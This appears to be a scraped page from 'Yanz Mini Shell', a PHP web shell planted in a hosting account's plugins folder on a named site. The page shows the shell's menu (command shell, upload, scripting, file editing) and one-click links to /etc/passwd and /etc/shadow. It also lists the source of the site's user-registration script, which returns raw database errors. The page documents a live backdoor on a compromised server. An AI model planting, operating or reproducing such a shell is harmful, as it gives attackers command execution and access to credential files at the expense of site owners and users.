Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
plugins
sparkline
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php include 'config.php'; // DB connection ($pdo) session_start(); if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Sanitize and validate inputs $user_name = trim($_POST['user_name'] ?? ''); $email = trim($_POST['email'] ?? ''); $phone = trim($_POST['phone'] ?? ''); $address = trim($_POST['address'] ?? ''); $role_id = trim($_POST['role_id'] ?? ''); $status = trim($_POST['status'] ?? ''); $errors = []; if ($user_name == '') $errors[] = 'User Name is required'; if (!filter_var($email, FILTER_VALIDATE_EMAIL)) $errors[] = 'Valid Email is required'; if ($phone == '') $errors[] = 'Phone is required'; if ($address == '') $errors[] = 'Address is required'; if ($role_id == '') $errors[] = 'Role is required'; if (!in_array($status, ['Active', 'Inactive'])) $errors[] = 'Invalid status selected'; if (count($errors) > 0) { echo json_encode(['status' => 'error', 'message' => $errors]); exit; } try { $stmt = $pdo->prepare("INSERT INTO tbl_user (user_name, email, phone, address, role_id, status) VALUES (:user_name, :email, :phone, :address, :role_id, :status)"); $stmt->execute([ ':user_name' => $user_name, ':email' => $email, ':phone' => $phone, ':address' => $address, ':role_id' => $role_id, ':status' => $status ]); echo json_encode(['status' => 'success', 'message' => 'User created successfully']); } catch (PDOException $e) { echo json_encode(['status' => 'error', 'message' => 'Database Error: ' . $e->getMessage()]); } } else { echo json_encode(['status' => 'error', 'message' => 'Invalid request']); } ?>
Free Space : 11564564480 Byte